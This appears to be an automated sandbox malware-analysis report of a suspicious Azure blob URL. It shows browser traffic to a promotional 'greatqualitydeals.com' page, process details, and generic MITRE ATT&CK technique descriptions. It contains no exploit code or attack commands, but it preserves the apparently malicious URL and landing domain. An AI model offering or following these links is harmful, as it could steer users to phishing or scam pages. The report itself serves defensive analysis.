2024-10-03 16:19:55 UTC	785	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/img/processing.gif HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/custom.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:55 UTC	644	IN	HTTP/1.1 404 Not Found Date: Thu, 03 Oct 2024 16:19:55 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wJUmGjyhdF9zP4p3W8gBaX3SS6bn2zZnYiFpWKTq%2B%2BCC352GqZIbxjJZuOjVg5TF79QDC0jKw7iNxBf%2BdLaftOYl3oiAFx9hAwAsg5npWJPfWwyAQgcYu3FAUB301RqVjiaEE955SMFMQX%2Bf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cce41af2bd84265-EWR
2024-10-03 16:19:55 UTC	322	IN	Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying t
2024-10-03 16:19:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.16	49861	35.190.80.1	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:55 UTC	558	OUT	OPTIONS /report/v4?s=HqC05GpcxqLVADTIHiXf9GGitO8Jp9kEYXftTuhT4mKvCpQBt54nBmLx2bG5UPaKQ8m58VSITX8aTsfVRS%2BLPyIxAHTOGutR%2FJHau4pVr5bGQaY%2BX7EBvZMmnln3%2BJhBkWFLcs6Z81y7duMW HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://www.greatqualitydeals.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:19:56 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 03 Oct 2024 16:19:55 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.16	49862	35.190.80.1	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:56 UTC	490	OUT	POST /report/v4?s=HqC05GpcxqLVADTIHiXf9GGitO8Jp9kEYXftTuhT4mKvCpQBt54nBmLx2bG5UPaKQ8m58VSITX8aTsfVRS%2BLPyIxAHTOGutR%2FJHau4pVr5bGQaY%2BX7EBvZMmnln3%2BJhBkWFLcs6Z81y7duMW HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 652 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:19:56 UTC	652	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 31 30 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 61 74 71 75 61 6c 69 74 79 64 65 61 6c 73 2e 63 6f 6d 2f 6f 75 74 73 74 61 6e 64 69 6e 67 70 72 6f 6d 6f 74 69 6f 6e 73 2f 61 75 74 6f 6d 6f 74 69 76 65 2f 76 31 2f 43 45 6d 4b 2f 3f 61 66 66 69 64 3d 34 26 63 31 3d 26 63 32 3d 61 74 74 55 36 36 56 35 53 43 6a 65 26 63 33 3d 26 63 6c 69 63 6b 5f 69 64 3d 36 63 36 34 65 35 61 30 37 33 65 35 34 38 65 30 39 34 38 39 30 36 32 65 31 33 64 32 66 Data Ascii: [{"age":0,"body":{"elapsed_time":1108,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2f
2024-10-03 16:19:56 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 03 Oct 2024 16:19:56 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.16	49863	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:20:04 UTC	789	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/error-input_1.png HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/app2.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:20:04 UTC	704	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:20:04 GMT Content-Type: image/png Content-Length: 472 Connection: close Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: public, max-age=31536000, must-revalidate Expires: Thu, 02 Oct 2025 23:40:37 GMT CF-Cache-Status: HIT Age: 59967 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FeWsLEqZ%2Ba5PnISZqySq5riBFDy9ruWb1FRXBdLJ8kkbL0mltcRgq%2BfBjm1ZpNg3hHwYEyNxqUJfh7l4iUc3LBOOQdx62ZcavcOL9zlPK7BNR5WIOJ0X6cbAet46SZeUH7fBMF7UD8HimBAC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41e91cc42395-EWR
2024-10-03 16:20:04 UTC	472	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 10 08 03 00 00 00 2c d8 df 6e 00 00 00 c9 50 4c 54 45 4c 69 71 da 9a 25 e8 b5 37 e0 a5 2c e6 b3 35 e8 b6 37 e7 b4 36 cf 83 14 e0 a6 2d ea bc 3b e1 a8 2e e4 af 32 d9 99 24 e8 b6 38 de a3 2b d4 8e 1d e7 b5 37 e8 b7 38 e0 a6 2d eb bc 3c c3 6d 06 c9 79 0e e9 ba 3a e9 b9 3a e8 b7 38 e9 b9 3a c1 68 03 bf 64 00 e5 b1 34 e3 ad 31 fe fb ee d6 a2 3d f5 db 5c f2 d7 56 fe fc f3 fe fb e8 f5 d8 51 f1 d3 86 f9 e8 94 f4 d9 57 ff fe f9 f1 d6 92 e6 c0 83 fc f6 e1 fc f3 c5 de a1 29 d9 97 22 f1 d7 a0 e7 bd 65 f5 e3 bf f6 dd 63 c2 6a 04 c8 74 0b ed c8 71 f7 ea c8 dd b1 47 fc f5 d4 f4 df a9 fa eb 9e fa ef d5 d2 93 44 eb cb 57 eb ce ab fc f6 d8 f8 e5 8b fa ef b5 d3 8c 1b df 68 69 83 00 00 00 1e 74 52 4e 53 00 Data Ascii: PNGIHDR,nPLTELiq%7,576-;.2$8+78-<my::8:hd41=\VQW)"ecjtqGDWhitRNS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.16	49864	104.21.32.108	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:20:05 UTC	478	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/error-input_1.png HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:20:05 UTC	702	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:20:05 GMT Content-Type: image/png Content-Length: 472 Connection: close Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: public, max-age=31536000, must-revalidate Expires: Thu, 02 Oct 2025 23:40:37 GMT CF-Cache-Status: HIT Age: 59968 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kMBPCihkgkZrc2JQsjOVXspsiLHhjlxa2GFWFBDvNVlAyFUbIeBxJGIYfsZ2HSa2EzMklNLMIk3xYf81%2B1xQA2qo5WPvc0RYjO2sSeJKYX9VbZGjOoP8TVYLPVg3RYFpderkYlQ5c12xgR1X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41ece83c7293-EWR
2024-10-03 16:20:05 UTC	472	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 10 08 03 00 00 00 2c d8 df 6e 00 00 00 c9 50 4c 54 45 4c 69 71 da 9a 25 e8 b5 37 e0 a5 2c e6 b3 35 e8 b6 37 e7 b4 36 cf 83 14 e0 a6 2d ea bc 3b e1 a8 2e e4 af 32 d9 99 24 e8 b6 38 de a3 2b d4 8e 1d e7 b5 37 e8 b7 38 e0 a6 2d eb bc 3c c3 6d 06 c9 79 0e e9 ba 3a e9 b9 3a e8 b7 38 e9 b9 3a c1 68 03 bf 64 00 e5 b1 34 e3 ad 31 fe fb ee d6 a2 3d f5 db 5c f2 d7 56 fe fc f3 fe fb e8 f5 d8 51 f1 d3 86 f9 e8 94 f4 d9 57 ff fe f9 f1 d6 92 e6 c0 83 fc f6 e1 fc f3 c5 de a1 29 d9 97 22 f1 d7 a0 e7 bd 65 f5 e3 bf f6 dd 63 c2 6a 04 c8 74 0b ed c8 71 f7 ea c8 dd b1 47 fc f5 d4 f4 df a9 fa eb 9e fa ef d5 d2 93 44 eb cb 57 eb ce ab fc f6 d8 f8 e5 8b fa ef b5 d3 8c 1b df 68 69 83 00 00 00 1e 74 52 4e 53 00 Data Ascii: PNGIHDR,nPLTELiq%7,576-;.2$8+78-<my::8:hd41=\VQW)"ecjtqGDWhitRNS

Target ID:	0
Start time:	12:18:02
Start date:	03/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	12:18:03
Start date:	03/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1992,i,2842306626827316037,12620561187067388826,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	12:18:04
Start date:	03/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://dsfghfdaregfdgshfgdfh.blob.core.windows.net/dsfghfdaregfdgshfgdfh/l1.html#9/372-16527/1270-243896-29108"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://dsfghfdaregfdgshfgdfh.blob.core.windows.net/dsfghfdaregfdgshfgdfh/l1.html#9/372-16527/1270-243896-29108

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Windows Analysis Report
https://dsfghfdaregfdgshfgdfh.blob.core.windows.net/dsfghfdaregfdgshfgdfh/l1.html#9/372-16527/1270-243896-29108